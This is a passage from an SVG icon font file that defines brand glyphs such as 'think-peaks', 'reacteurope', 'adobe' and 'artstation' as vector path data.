c-3.40039 -1.05078 -8.90039 -2.62012 -12.8301 -3.93066h-0.259766c-0.780273 2.10059 -1.83008 5.75977 -3.14062 9.69043l0.259766 4.70996l-0.259766 0.259766c-4.71973 -1.30957 -7.59961 -2.34961 -10.7402 -3.40039v-0.519531
c1.05078 0 2.10059 -1.30957 2.62012 -3.13965c1.0498 -3.40039 8.12012 -24.0908 9.16992 -27.2305c0.790039 -2.09961 0.790039 -3.66992 -0.259766 -4.97949l0.259766 -0.260742c3.14062 1.31055 6.54004 2.87988 10.21 3.93066v0.519531
c-1.0498 0.259766 -2.08984 0.780273 -2.87988 3.13965c-1.0498 3.93066 -3.39941 11.2607 -4.18945 13.8809l0.259766 0.259766c3.92969 1.30957 9.42969 3.13965 12.8301 3.92969l0.259766 -0.259766c0.530273 -2.09961 2.62012 -10.2197 3.66992 -13.6201
l-0.519531 -4.4502l0.259766 -0.259766c4.4502 1.57031 5.5 1.83008 9.69043 2.87988zM395.94 143.69c0.529297 1.8291 1.0498 3.65918 1.5791 6.04004h-0.259766c-2.0293 -4.06055 -15.0898 -5.09082 -16.2402 -4.71094l-0.259766 0.260742
c-0.519531 3.13965 -1.83008 10.4795 -2.08984 12.5693l0.259766 0.260742c8.06055 0.899414 5.40039 1.0293 10.21 0h0.260742c0 3.40918 0.259766 3.66992 0.259766 5.23926h-0.259766c-5.98047 -2.2998 -1.2207 -0.679688 -10.7402 -2.35938l-0.259766 0.259766
c-0.520508 3.40039 -1.31055 8.37988 -1.57031 9.9502l0.259766 0.259766c12.9004 2.41016 15.1006 0.349609 16.2402 -0.790039l0.259766 0.259766c-0.780273 2.36035 -1.0498 3.14062 -1.57031 5.5l-0.259766 0.260742
c-4.71973 -0.260742 -15.71 -1.05078 -24.8799 -2.62012l-0.790039 -0.520508c1.83008 -0.790039 2.36035 -1.83984 2.62012 -3.66992c1.58008 -7.59961 3.41016 -18.3301 4.98047 -26.1895l-0.790039 -4.19043l0.259766 -0.259766
c8.37988 1.83008 17.8096 3.66992 22.5195 4.18945zM406.68 188.2c3.14062 1.56934 7.33008 5.5 7.33008 5.50977c1.95996 -4.58008 0.970703 -2.70996 4.19043 -7.86035c10.1494 -0.459961 8.60938 0.0205078 20.4297 -1.0498l0.790039 4.70996
s-4.18945 0 -5.75977 1.83008c-1.0498 1.31055 -1.31055 3.14062 -1.57031 5.5c0 2.36035 0.270508 16.5 0.790039 20.6904c0.259766 4.18945 2.08984 20.4199 2.08984 23.04c0.260742 2.62012 1.0498 8.91016 0.260742 12.0498
c-4.82031 19.2803 -24.4307 17.8096 -50.0205 16.2402l-5.24023 -16.2402l2.62012 -2.87988c16.5498 16.5498 37.6201 4.56934 29.5898 -5.75977c-5.18945 -6.9209 -19.7393 -8.90039 -28.54 -17.0205c-6.47949 -6.49023 -12.2393 -20.9004 -5.5 -31.6904
c6.12988 -11.0391 17.29 -9.96973 17.54 -9.94922c2.87988 0 6.55078 0.519531 11 2.87988zM443.86 166.99c0 1.83984 0.269531 4.18945 0.269531 5.25l-0.259766 0.519531c-14.3604 8.98047 -26.8604 0.919922 -28.7998 -9.9502
c-2.83984 -16.0898 15.3594 -25.46 25.6602 -18.5898l0.519531 0.520508c0 0.259766 1.30957 4.4502 1.83008 6.2793l-0.259766 0.260742c-6.39062 -9.58008 -23.3203 -6.87012 -20.6904 10.21c1.91016 12.6602 15.3799 16.0801 21.7305 5.5zM449.63 254.72
c0 0 4.96973 -0.790039 4.99023 -3.66016c0 -2.08984 -4.98047 -55.25 -4.98047 -55.25c-0.109375 -1.48926 -0.339844 -6.80957 -7.58984 -6.80957l-0.790039 -4.70996c18.3906 -2.83008 19.3701 -3.04004 36.9199 -7.33008l0.520508 4.70996
c-13.0498 3.91992 -9.74023 7.37012 -4.4502 46.0898c1.09961 0.870117 8.62012 7.14062 20.6904 0.790039l11.2598 11.2598s-9.69043 8.90039 -14.9307 7.33008c-5.23926 -1.30957 -15.4492 -10.7393 -15.4492 -10.7393l1.56934 17.54
c-8.10938 4.0498 -27.0693 7.3291 -27.7598 7.3291v-6.5498zM460.62 140.28c9.42969 -2.35059 16.2402 2.62012 18.8496 11.5195c2.08984 7.60059 -1.56934 16.7598 -10.7393 19.3799c-6.54004 2.10059 -15.7109 -0.779297 -18.8506 -10.21
c-3.39941 -9.68945 2.62012 -18.5996 10.7402 -20.6895zM502.78 130.59c-0.780273 1.31055 -1.04004 2.10059 -0.799805 3.91016c1.22949 27.0098 1.5293 24.6602 1.0498 25.1396c-2.08984 0.790039 -5.5 2.09082 -7.58984 2.87988l-0.520508 -0.259766v-2.08984
c-3.92969 -6.01953 -10.4795 -15.4502 -13.8799 -20.1602l-2.62012 -1.83008v-0.259766c2.08984 -0.259766 4.70996 -1.30957 6.02051 -1.57031v0.260742l0.790039 3.39941c0.789062 1.0498 2.35938 3.66992 3.66992 5.5c0.40918 0 2.25 -0.549805 7.06934 -2.35938
c0.330078 -0.320312 0.330078 0.649414 -0.259766 -7.59082l-1.57031 -1.8291v-0.260742c1.57031 -0.519531 6.28027 -2.35938 8.64062 -2.87988zM498.07 220.41c-13.2207 -21.1504 -9.39062 -51.6006 9.66992 -52.9004c5.75977 -0.259766 9.42969 3.93066 9.68945 3.66992
l-2.08984 -6.80957c8.91016 -4.21973 11.4404 -5.29004 17.8105 -8.63965l1.83008 4.44922c-6.14062 3.51074 -1.29004 11.25 24.6191 84.3203c-6.13965 6.45996 -10.2998 10.0596 -22.5195 20.4297l-1.83008 -3.66992c1.62988 -1.35938 6.79004 -5.00977 4.4502 -11.2598
l-7.58984 -26.1904c-3.28027 12.79 -22.79 14.8701 -34.04 -3.39941zM527.4 141.07l2.35938 3.39941v0.520508c-3.41016 6.83008 -11.9395 7.41992 -14.6602 2.35938c-1.83984 -3.40918 0.260742 -7.06934 1.83008 -9.68945
c1.57031 -2.87988 3.14062 -6.29004 2.08984 -8.37988c-2.31934 -4.62988 -8.94922 -0.680664 -8.37988 4.97949l-0.790039 -0.259766c-2.09961 -4.7998 -1.83008 -4.00977 -1.83008 -4.70996c3.05078 -6.09961 12.8105 -7.12988 15.4502 -0.790039
c1.57031 3.15039 0.520508 6.80957 -1.0498 9.42969c-1.83008 3.40039 -4.18945 6.29004 -2.87988 8.37988c1.51953 2.65039 7.86035 0.470703 7.86035 -5.23926zM548.61 127.71l1.30957 3.91016l-0.259766 0.259766c-2.36035 2.08984 -8.64062 6.54004 -12.3105 8.90039
h-0.259766l-3.13965 -3.40039v-0.259766c4.7998 -0.320312 3.37988 0.149414 6.01953 -1.83008v-0.259766c-2.62012 -4.9707 -6.0293 -11.2607 -9.16992 -17.0205l-2.08984 -1.30957l-0.259766 -0.259766l5.75977 -4.4502l0.259766 0.259766
c-0.259766 0.530273 -0.519531 1.57031 0.790039 3.92969c2.87988 5.77051 6.28027 12.0508 8.64062 16.2402h0.259766c3.54004 -2.57031 2.49023 -1.43945 4.4502 -4.70996zM575.84 171.97l7.85059 10.46s-9.4209 18.8604 -23.04 16.5
c-20.8408 -4.0293 -3.15039 -34.21 -2.09082 -38.2295c4.33008 -15.1299 -16.3193 -12.5605 -13.3496 5.24023l-2.87988 2.08984l-4.98047 -14.4004s11.7803 -11.2598 20.1602 -10.4697c8.12012 0.790039 13.8799 6.29004 13.8799 16.5
c0 8.37988 -7.85938 22.7803 -7.85938 27.7598c0 6.86035 12.2695 4.75977 11.5195 -4.97949c-0.259766 -2.61035 -1.2998 -5.23047 -2.08984 -7.59082zM611.46 182.18c0.780273 -2.35938 1.57031 -1.83008 0.790039 0.270508
c-32.4697 98.9795 -132.76 138.78 -199.8 139.83c-50.54 0.779297 -89.5605 -11.79 -131.98 -35.8799l20.6904 61.0098l-33.7803 -65.7305l-8.89941 20.9502c3.13965 1.04004 6.2793 2.08984 6.2793 2.08984l-2.62012 8.64062s-3.13965 -0.780273 -7.33008 -2.09082
l-12.0498 28.2803l13.6201 -61.0098c-5.12012 2.55957 -19.0996 6.83008 -6.5498 19.3799l-2.62012 11c-6.97949 -2.21973 -13.2295 -3.62012 -32.21 -9.68945l-23.0801 11.5l59.1797 -42.6807l-4.70996 -2.08984l-17.2793 13.8799
c2.23926 -5.13965 3.2998 -12.1699 4.70996 -19.6396l-28.54 -13.0898l-30.1104 36.1396l-17.2803 -9.16992l13.6201 -42.4199l-11.2598 -4.98047l94.2695 29.3301l-3.66992 -10.4697l-0.519531 3.13965l-13.0898 -3.39941l4.97949 -24.6201l-4.4502 -12.3105
l-25.6592 30.6406l-39.8008 -10.21l18.8506 -58.9199c-60.1299 62.3994 -67.7002 66.3994 -61.7998 75.6797c2.09961 2.87988 7.85938 7.07031 7.85938 7.07031l-4.18945 7.06934c-26.7803 -18.3496 -27.8398 -19.1494 -58.4004 -42.6797l4.98047 -6.01953
s8.12012 5.75977 13.6201 5.5c7.81934 -0.350586 1.76953 2.93945 113.659 -98.7305l11.7803 8.37988l-27.7598 93.4805l35.8799 -42.1602l-4.70996 -13.8799l41.9004 88.5098c34.6699 -80.5098 29.1494 -66.9502 32.9893 -78.8203l-33.5195 67.2998l-2.36035 -4.44922
c1.2998 -1.30078 -0.919922 3.05957 22.7803 -59.4404c3.22949 -8.88965 -1.10059 -9.88965 -5.5 -12.8301l2.36035 -4.70996c15.3594 6.79004 22.9395 9.54004 39.0195 14.4004l-1.0498 4.97949c-8.89062 -1.33008 -10.1006 0.169922 -12.0498 4.4502
c-1.05078 2.09961 -14.1504 40.0703 -20.4307 58.6602l-10.21 4.97949l-2.35938 8.12012l61.54 -36.6602l-13.0908 -43.21c12.1904 3.26074 27.0303 6.74023 49.4902 9.9502l-0.259766 26.71l-4.98047 -1.0498c-0.669922 -13.7998 -6.0293 -22.0801 -19.6396 -22.7803
l22.2598 80.3906c-27.6201 -0.450195 -59.2695 -7.19043 -66.7695 -8.90039l3.92969 -16.5l-25.1396 19.6396l91.3896 20.6904l-85.6299 -9.16992c38.4902 22.5195 79.3398 39.0195 132.76 37.9697c131.46 -2.08984 180.95 -99.2402 191.95 -129.62zM203.48 295.57
l2.35938 -8.64062c7.82031 2.61035 10.8604 2.36035 11.2598 2.36035l-9.42969 7.58984c-2.36035 -0.790039 -4.18945 -1.30957 -4.18945 -1.30957zM347.24 257.07l-11.5303 -37.71l-21.7295 17.0195c6.7998 25.5 31.6895 21.29 33.2598 20.6904zM318.43 380.93
c224.94 0 321.83 -143.76 321.57 -227.55c0 -11 -0.269531 -17.5498 -0.790039 -19.6396c-0.259766 -2.10059 -1.0498 -0.790039 -1.0498 0.519531v9.9502c0 106.58 -121.51 223.37 -301.67 223.37c-61.2705 0 -103.69 -12.0498 -110.24 -13.8799l-1.57031 0.259766
c-6.80957 7.58984 -12.8301 9.69043 -21.21 11.7803v0.790039c8.91016 2.34961 56.5605 14.3994 114.96 14.3994zM529.49 211.25c-8.61035 -34.4502 -13.6504 -35.3496 -18.3301 -35.3604c-7.33008 0 -6.81055 9.43066 -6.02051 14.9307
c0.879883 9.72949 7.40039 34.6494 17.0205 33.5195c7.33008 -0.780273 8.63965 -7.33008 7.33008 -13.0898zM467.96 168.3c3.40039 -0.780273 7.84961 -4.4502 5.23047 -14.3896c-2.88086 -11.2598 -8.11035 -11.79 -11.7803 -10.7402
c-5.5 1.31055 -7.85059 7.84961 -6.02051 14.6602c3.14062 11.2598 9.9502 11.2598 12.5703 10.4697zM491 147.35v0.270508c1.0498 1.83008 5.5 8.63965 6.5498 9.9502c-0.269531 -3.66992 -0.790039 -10.2207 -0.790039 -12.0508
c-2.62012 0.780273 -3.92969 1.31055 -5.75977 1.83008z" />
    <glyph glyph-name="think-peaks" unicode="&#xf731;" horiz-adv-x="576" 
d="M465.4 38.5996l-206.2 353.801l-204.2 -352.101l-32 0.299805l236.2 407.4l206.2 -353.9l55.0996 95l32 -0.299805zM110.1 82.7002l149.601 257.899l235.8 -404.6l-32.5 0.0996094l-203.4 349.101l-117.399 -202.5h-32.1006z" />
    <glyph glyph-name="reacteurope" unicode="&#xf75d;" horiz-adv-x="576" 
d="M250.6 236.26l2 6.7998l-5.69922 4.30078l7.19922 0.0996094l2.30078 6.7998l2.2998 -6.7998l7.09961 -0.0996094l-5.7002 -4.30078l2.10059 -6.7998l-5.7998 4.10059zM314.3 236.26l1.90039 6.7998l-5.7002 4.30078l7.2002 0.0996094l2.2998 6.7998l2.2998 -6.7998
l7.2002 -0.0996094l-5.7002 -4.30078l2.10059 -6.7998l-5.80078 4.10059zM223 185.76c4.90039 0 3.7998 -3.89941 3.7998 -13.7598c0 -10.2998 -6.7002 -14.0996 -16.7998 -14.0996h-0.200195c-10.0996 0 -16.7998 3.69922 -16.7998 14.0996v40.0596
c0 9.90039 6.7002 14.1006 16.7998 14.1006h0.200195c10.0996 0 16.7998 -4.2002 16.7998 -14.1006c0 -8.39941 0.900391 -12.1992 -3.7998 -12.2998h-3.40039c-4.5 0 -3.7998 3.2998 -3.7998 10.5c0 4.7002 -2.2998 6.10059 -5.7998 6.10059
s-5.7998 -1.40039 -5.7998 -6.10059v-36.5996c0 -4.7002 2.2998 -6.10059 5.7998 -6.10059s5.7998 1.40039 5.7998 6.10059c0 8.09961 -1 12.0996 3.7998 12.0996h3.40039zM142.3 168.36c2.5 0 3.7998 -1.30078 3.7998 -3.80078v-2.09961
c0 -2.5 -1.2998 -3.7998 -3.7998 -3.7998h-21.8994c-2.5 0 -3.80078 1.2998 -3.80078 3.7998v59.0996c0 2.5 1.30078 3.90039 3.7002 3.80078h21.7002c2.5 0 3.7998 -1.30078 3.7998 -3.80078v-2.09961c0 -2.5 -1.2998 -3.7998 -3.7998 -3.7998h-14.4004v-18.2998h11.4004
c2.5 0 3.7998 -1.30078 3.7998 -3.80078v-2.09961c0 -2.5 -1.2998 -3.7998 -3.7998 -3.7998h-11.4004v-19.2998h14.7002zM100.3 186.86l8.10059 -23.9004c0.799805 -2.59961 -0.400391 -4.40039 -3.2002 -4.40039h-3.2998
c-0.0820312 -0.00585938 -0.21582 -0.0107422 -0.297852 -0.0107422c-1.81543 0 -3.6084 1.43848 -4.00293 3.21094l-7.39941 23.5h-5.60059v-22.8994c0 -2.5 -1.2998 -3.80078 -3.7998 -3.80078h-3.39941c-2.5 0 -3.80078 1.30078 -3.80078 3.80078v59.0996
c0 2.5 1.30078 3.7998 3.80078 3.7998h13.3994c10.1006 0 16.7998 -4 16.7998 -14.0996v-11.9004c0 -6.39941 -2.69922 -10.3994 -7.2998 -12.3994zM96.5 200.86v8.69922c0 4.80078 -2.5 6.10059 -6.09961 6.10059h-5.80078v-20.9004h5.80078
c3.59961 0 6.09961 1.2998 6.09961 6.10059zM176 222l11.2002 -59.2002c0.5 -2.7002 -0.799805 -4.09961 -3.40039 -4.09961h-3.5c-0.100586 -0.00976562 -0.264648 -0.0185547 -0.366211 -0.0185547c-1.94531 0 -3.61816 1.57617 -3.7334 3.51855l-1.7998 11.2998h-12.2002
l-1.7998 -11.2998c-0.116211 -1.94238 -1.78809 -3.51855 -3.7334 -3.51855c-0.101562 0 -0.265625 0.00878906 -0.367188 0.0185547h-3c-2.5 0 -3.89941 1.39941 -3.39941 4.09961l11 59.2002c0.135742 1.88477 1.78027 3.41504 3.66992 3.41504
c0.0908203 0 0.239258 -0.00683594 0.330078 -0.0146484h6.89941c0.110352 0.0117188 0.290039 0.0205078 0.401367 0.0205078c1.89844 0 3.60059 -1.53223 3.79883 -3.4209zM163.7 182.7h9.39941l-4.69922 29.7002zM253 162.5c0 -2.45996 -1.2998 -3.83984 -3.7998 -3.7998
h-3.40039c-2.5 0 -3.7998 1.2998 -3.7998 3.7998v53.2002h-7.2998c-2.5 0 -3.7998 1.2998 -3.7998 3.7998v2.09961c0 2.5 1.2998 3.80078 3.7998 3.80078h25.7998c2.5 0 3.7998 -1.30078 3.7998 -3.80078v-2.09961c0 -2.5 -1.2998 -3.7998 -3.7998 -3.7998h-7.5v-53.2002z
M501 163.3c0.0449219 0.00390625 0.119141 -0.0322266 0.164062 -0.0322266c1.01562 0 1.84082 -0.824219 1.84082 -1.83984c0 -0.0351562 -0.00292969 -0.0927734 -0.00488281 -0.12793v-0.799805c0.00195312 -0.0273438 0.00292969 -0.0722656 0.00292969 -0.100586
c0 -0.999023 -0.810547 -1.80957 -1.81055 -1.80957c-0.0527344 0 -0.139648 0.00488281 -0.192383 0.00976562h-22.5c-0.0527344 -0.00488281 -0.139648 -0.00976562 -0.192383 -0.00976562c-1 0 -1.81055 0.810547 -1.81055 1.80957
c0 0.0283203 0.000976562 0.0732422 0.00292969 0.100586v63c-0.00878906 0.0625 -0.0166016 0.166016 -0.0166016 0.229492c0 0.893555 0.725586 1.62012 1.62012 1.62012c0.111328 0 0.289062 -0.0224609 0.396484 -0.0498047h22.2002
c0.0644531 0.00878906 0.169922 0.015625 0.235352 0.015625c0.977539 0 1.77051 -0.792969 1.77051 -1.76953c0 -0.0400391 -0.00292969 -0.105469 -0.00585938 -0.145508v-0.800781c0.00195312 -0.03125 0.00292969 -0.0820312 0.00292969 -0.113281
c0 -1.04297 -0.84668 -1.88965 -1.88965 -1.88965c-0.03125 0 -0.0820312 0.000976562 -0.113281 0.00292969h-19.1006v-25.7998h16.1006c0.03125 0.00195312 0.0820312 0.00390625 0.113281 0.00390625c1.04297 0 1.88965 -0.84668 1.88965 -1.89062
c0 -0.03125 -0.000976562 -0.0820312 -0.00292969 -0.113281v-0.799805c0.00195312 -0.03125 0.00292969 -0.0820312 0.00292969 -0.113281c0 -1.04297 -0.84668 -1.88965 -1.88965 -1.88965c-0.03125 0 -0.0820312 0.000976562 -0.113281 0.00292969h-16.1006v-26.7002
h19.4004zM407.9 226.2c10.0996 0 15.2998 -4.74023 15.2998 -14.1006v-40.0996c0 -9.2998 -5.2002 -14.0996 -15.2998 -14.0996h-0.800781c-10.0996 0 -15.2998 4.7998 -15.2998 14.0996v40.0996c0 9.40039 5.2002 14.1006 15.2998 14.1006h0.800781zM418.1 173.8v36.6006
c0 7.89941 -3 11.0996 -10.5 11.0996s-10.5 -3.2002 -10.5 -11.0996v-36.6006c0 -8 3 -11.0996 10.5 -11.0996s10.4004 3.09961 10.5 11.0996zM371.6 188.3l10.6006 -27.2998c0.5 -1.2998 -0.100586 -2.2998 -1.5 -2.2998h-1.5
c-0.0351562 -0.00195312 -0.0927734 -0.00390625 -0.128906 -0.00390625c-0.886719 0 -1.85938 0.673828 -2.1709 1.50391l-10.4004 27.2002h-11.5996v-26.9004c0.00390625 -0.0458984 0.0078125 -0.12207 0.0078125 -0.167969
c0 -0.960938 -0.779297 -1.74023 -1.74023 -1.74023c-0.0458984 0 -0.12207 0.00390625 -0.167969 0.0078125h-1.2002c-0.0527344 -0.00488281 -0.139648 -0.00976562 -0.192383 -0.00976562c-0.999023 0 -1.81055 0.810547 -1.81055 1.80957
c0 0.0283203 0.00195312 0.0732422 0.00292969 0.100586v63c-0.000976562 0.0273438 -0.00292969 0.0722656 -0.00292969 0.100586c0 0.999023 0.811523 1.80957 1.81055 1.80957c0.0527344 0 0.139648 -0.00488281 0.192383 -0.00976562h13.7002
c10.0996 0 15.2998 -4.7002 15.2998 -14.1006v-9.7002c0 -7.19922 -3.09961 -11.6992 -9.2002 -13.2998zM365.2 192.2c7.5 0 10.5 3.16016 10.5 11v6.39941c0 8 -3 11.1006 -10.5 11.1006h-10.2002v-28.5h10.2002zM451.1 225.3c10.1006 0 15.3008 -4.7002 15.3008 -14.0996
v-10.5c0 -9.2998 -5.2002 -14.1006 -15.3008 -14.1006h-10.5996v-26.0996c0.00488281 -0.0458984 0.0078125 -0.12207 0.0078125 -0.167969c0 -0.960938 -0.779297 -1.74023 -1.73926 -1.74023c-0.046875 0 -0.12207 0.00390625 -0.168945 0.0078125h-1.19922
c-0.0537109 -0.00488281 -0.139648 -0.00976562 -0.193359 -0.00976562c-0.999023 0 -1.80957 0.810547 -1.80957 1.80957c0 0.0283203 0.000976562 0.0732422 0.00292969 0.100586v63c-0.00976562 0.0625 -0.0166016 0.166016 -0.0166016 0.229492
c0 0.893555 0.725586 1.62012 1.62012 1.62012c0.111328 0 0.288086 -0.0224609 0.396484 -0.0498047h13.6992zM461.3 202.5v7.09961c0 7.90039 -3 11.1006 -10.5 11h-10.2002v-29.1992h10.2002c7.5 0 10.5 3.19922 10.5 11.0996zM259.5 140l7.09961 -0.0996094
l-5.69922 -4.30078l2.09961 -6.7998l-5.7998 4.10059l-5.7998 -4.10059l2.09961 6.7998l-5.7002 4.30078l7.10059 0.0996094l2.2998 6.7998zM487.1 276.1c122.301 -46.0996 118.401 -132.54 -33.8984 -176.34c13.3994 -49.7002 18.0996 -101.899 0.0996094 -133.8
c-3.7998 -6.7002 -16.7998 -27.7002 -47.5996 -27.7002c-41.5 0 -110.2 41.6006 -182.101 142c-42.7998 3.5 -72.1992 10.1006 -84.5996 13c-20.5 -82.2998 -6.7998 -125.3 15.5 -137.899c1.2002 -0.700195 38.4004 -27.2002 120.9 52.7998
c3.39941 -3.5 6.79883 -6.90039 10.1982 -10.2002c-63.0996 -61.2002 -110.199 -71 -138.199 -55.2002c-32.4004 18.2998 -42.8008 72 -22.3008 153.9c-18.8994 5 -121.6 33.2002 -122.1 92.7998c-0.400391 40.9004 49.7998 74.7002 120.3 95
c-13.3994 49.5996 -18.2002 101.8 -0.0996094 133.8c3.7998 6.74023 16.7998 27.7402 47.5996 27.7402c41.6006 0 110.3 -41.6396 182.2 -142.14c23.6113 -1.88379 61.5127 -7.70801 84.5996 -13c20.5 82 6.90039 125.1 -15.5 137.8
c-1.2998 0.700195 -38.3994 27.2002 -120.899 -52.7998c-3.40039 3.5 -6.80078 6.89941 -10.2002 10.1992c52.2998 50.9404 103.7 74.6006 138.2 55.2402c33.8994 -19.2002 41.8994 -75.8994 22.2998 -153.899c9.98535 -2.61523 25.9346 -7.67773 35.5996 -11.3008z
M135.901 411.16c-23.1006 -40.7998 1 -121.562 1.19922 -122.961c22.9912 5.78516 60.8018 12.3262 84.4004 14.5996c12.7793 18.6787 35.4922 47.4404 50.7002 64.2002c3.39941 -3.33301 6.7998 -6.74609 10.2002 -10.2393
c-12.5371 -13.7451 -31.4434 -37.2207 -42.2002 -52.3994c14.8213 1.11914 38.9141 2.02734 53.7783 2.02734c11.082 0 29.0566 -0.504883 40.1211 -1.12793c-64.5 86.6006 -126.5 126.2 -163.3 126.2c-23 0 -32 -15.2002 -34.8994 -20.2998zM440.701 -27.1406
c3.2998 6 21.5 38.5996 -1.2002 123c-4.09961 -1.10059 -37.0996 -9.90039 -84.4004 -14.6006c-12.7578 -18.6943 -35.4717 -47.4551 -50.6992 -64.2002c-3.40039 3.2998 -6.80078 6.7002 -10.2002 10.2002c12.5371 13.7461 31.4424 37.2207 42.2002 52.4004
c-14.7715 -1.14258 -38.7842 -2.06934 -53.5996 -2.06934c-11.1328 0 -29.1875 0.524414 -40.3008 1.16895c64.5996 -86.7998 126.6 -126.2 163.3 -126.2c23.1006 0 32 15.2002 34.9004 20.3008zM449.801 111.459c25.6006 7.2998 85.9004 27.4004 105.7 62.5
c1.40039 2.5 33.5 50.5 -72.5996 90.4004c-9.36914 3.51562 -24.8252 8.44336 -34.5 11c-3.60059 -12.9004 -7.90039 -26.1006 -12.8008 -39.5c-3.15723 -0.430664 -7.14453 -2.93945 -8.89941 -5.60059l-0.100586 0.100586
c-1.6416 1.55762 -4.68848 3.48438 -6.7998 4.2998c5.7002 15 10.6006 29.7998 14.6006 44.2002c-7.2002 1.69922 -31.8008 7.59961 -72.2002 11.6992c16.7002 -24.5 27.8994 -44.0996 34.2998 -55.5c-3.50781 -1.14648 -8.16699 -4.46094 -10.4004 -7.39941
c-13.5996 16.3994 -11 19.8994 -42.5 64.5c-13.752 0.96582 -36.1016 1.75 -49.8877 1.75c-17.2871 0 -45.292 -1.23145 -62.5117 -2.75c-16.9004 -25 -28.2998 -45.2002 -34.7998 -56.9004c-3.49707 -1.49023 -8.06738 -5.25391 -10.2002 -8.39941
c-0.914062 2.88965 -3.78125 6.47363 -6.40039 8c6.10059 11.3994 16.9004 31 32.7998 55.2998c-39.5996 -4.60059 -65 -11.2002 -72 -13c4.30078 -14.1006 9.40039 -28.6006 15.2002 -43.2998c-0.71582 -0.522461 -1.74609 -1.50781 -2.2998 -2.2002
c-1.5 1.89941 -4 5.2998 -14.4004 5.2998c-4.69922 12.2998 -8.7998 24.5 -12.3994 36.4004c-138.8 -40.3604 -158.4 -121.36 1.5 -164c3.59961 12.8994 7.7998 26 12.7002 39.3994c0.269531 -0.0146484 0.708008 -0.0273438 0.978516 -0.0273438
c1.68359 0 4.33594 0.460938 5.9209 1.02734c3 -1.2002 5.2002 -1 8.40039 -1c-5.5 -14.5996 -10.2002 -28.8994 -14.1006 -42.8994c19.7119 -4.56055 52.0576 -9.80176 72.2002 -11.7002c-16.2998 23.8994 -27.5 43.3994 -33.7998 54.5996
c8.7002 0 10.7002 1.60059 12.5996 3.2002c0.794922 -0.480469 2.13965 -1.15234 3 -1.5c15.3008 -26.7002 28.9004 -46.5996 36.8008 -57.7998c13.751 -0.96582 36.1006 -1.75 49.8857 -1.75c17.2871 0 45.2939 1.23145 62.5137 2.75
c16.5 24.2998 27.7002 44 33.9004 55.2002c7.2998 0 9.7998 3 10.8994 4.19922c1.5332 -1.11426 4.2207 -2.54785 6 -3.19922c-15 -28 -28.6992 -48.9004 -32.1992 -54.2002c20.1172 2.22656 52.373 8.05078 72 13c-4.10059 13.7998 -9 27.8994 -14.7002 42.2002
c1.65723 0.743164 4.07617 2.35645 5.39941 3.59961l0.100586 0.0996094c2.07227 -3.14648 6.8125 -5.7002 10.5811 -5.7002c0.0322266 0 0.0859375 0 0.119141 0.000976562c4.69922 -12.3008 8.7998 -24.5 12.3994 -36.4004zM335.401 225.459
c0.0556641 0.00585938 0.145508 0.0107422 0.201172 0.0107422c1.05566 0 1.95117 -0.856445 1.99805 -1.91113v-51.5c0 -9.5 -5 -14.0996 -15.0996 -14.0996h-0.400391c-10.0996 0 -15.0996 4.5 -15.0996 14.0996v51.5
c-0.00195312 0.0283203 -0.00292969 0.0732422 -0.00292969 0.100586c0 0.999023 0.810547 1.81055 1.81055 1.81055c0.0527344 0 0.139648 -0.00488281 0.192383 -0.0107422h1.2002c0.0615234 0.00878906 0.162109 0.0146484 0.224609 0.0146484
c0.933594 0 1.69043 -0.756836 1.69043 -1.68945c0 -0.0625 -0.00683594 -0.163086 -0.015625 -0.225586v-49.7998c0 -8 2.60059 -11.0996 10.1006 -11.0996s10.0996 3.2002 10.0996 11.0996v49.7998c-0.00390625 0.046875 -0.0078125 0.12207 -0.0078125 0.168945
c0 0.959961 0.779297 1.73926 1.74023 1.73926c0.0458984 0 0.121094 -0.00292969 0.167969 -0.0078125h1.2002zM321.701 139.999l7.09961 -0.0996094l-5.7002 -4.30078l2.10059 -6.7998l-5.7998 4.10059l-5.80078 -4.10059l2.10059 6.7998l-5.7002 4.30078
l7.09961 0.0996094l2.30078 6.7998zM290.601 132.599l7.10059 -0.0996094l-5.7002 -4.2998l2.09961 -6.7998l-5.7998 4.09961l-5.7998 -4.09961l2.09961 6.7998l-5.69922 4.2998l7.09961 0.0996094l2.2998 6.80078zM295.701 163.399
c0.0507812 0.00488281 0.133789 -0.03125 0.185547 -0.03125c1.00977 0 1.83008 -0.819336 1.83008 -1.83008c0 -0.0664062 -0.00683594 -0.172852 -0.015625 -0.239258v-0.799805c0.00292969 -0.0400391 0.00585938 -0.105469 0.00585938 -0.145508
c0 -0.977539 -0.792969 -1.77051 -1.77051 -1.77051c-0.0654297 0 -0.170898 0.00683594 -0.235352 0.015625h-22.5c-0.0537109 -0.00488281 -0.139648 -0.00976562 -0.193359 -0.00976562c-0.999023 0 -1.80957 0.810547 -1.80957 1.80957
c0 0.0283203 0.000976562 0.0732422 0.00292969 0.100586v63c-0.00195312 0.0273438 -0.00292969 0.0722656 -0.00292969 0.100586c0 0.999023 0.810547 1.80957 1.80957 1.80957c0.0537109 0 0.139648 -0.00488281 0.193359 -0.00976562h22.2002
c0.0644531 0.00878906 0.169922 0.015625 0.235352 0.015625c0.977539 0 1.77051 -0.792969 1.77051 -1.77051c0 -0.0400391 -0.00292969 -0.105469 -0.00585938 -0.145508v-0.799805c0.00195312 -0.03125 0.00292969 -0.0820312 0.00292969 -0.113281
c0 -1.04395 -0.84668 -1.89062 -1.88965 -1.89062c-0.03125 0 -0.0820312 0.00195312 -0.113281 0.00390625h-19.1006v-25.7998h16.1006c0.03125 0.00195312 0.0820312 0.00292969 0.113281 0.00292969c1.04297 0 1.88965 -0.84668 1.88965 -1.88965
c0 -0.03125 -0.000976562 -0.0820312 -0.00292969 -0.113281v-0.800781c0.00195312 -0.03125 0.00292969 -0.0820312 0.00292969 -0.113281c0 -1.04297 -0.84668 -1.88965 -1.88965 -1.88965c-0.03125 0 -0.0820312 0.000976562 -0.113281 0.00292969h-16.1006v-26.6992
h19.4004zM288.301 262.799l2.2998 -6.7998l7.10059 -0.0996094l-5.7002 -4.30078l2.09961 -6.7998l-5.7998 4.10059l-5.7998 -4.10059l2.09961 6.7998l-5.69922 4.30078l7.09961 0.0996094z" />
    <glyph glyph-name="adobe" unicode="&#xf778;" horiz-adv-x="512" 
d="M315.5 384h170.9v-384zM196.5 384l-170.9 -384v384h170.9zM256 241.9l107.5 -241.9h-73l-30.7002 76.7998h-78.7002z" />
    <glyph glyph-name="artstation" unicode="&#xf77a;" horiz-adv-x="512" 
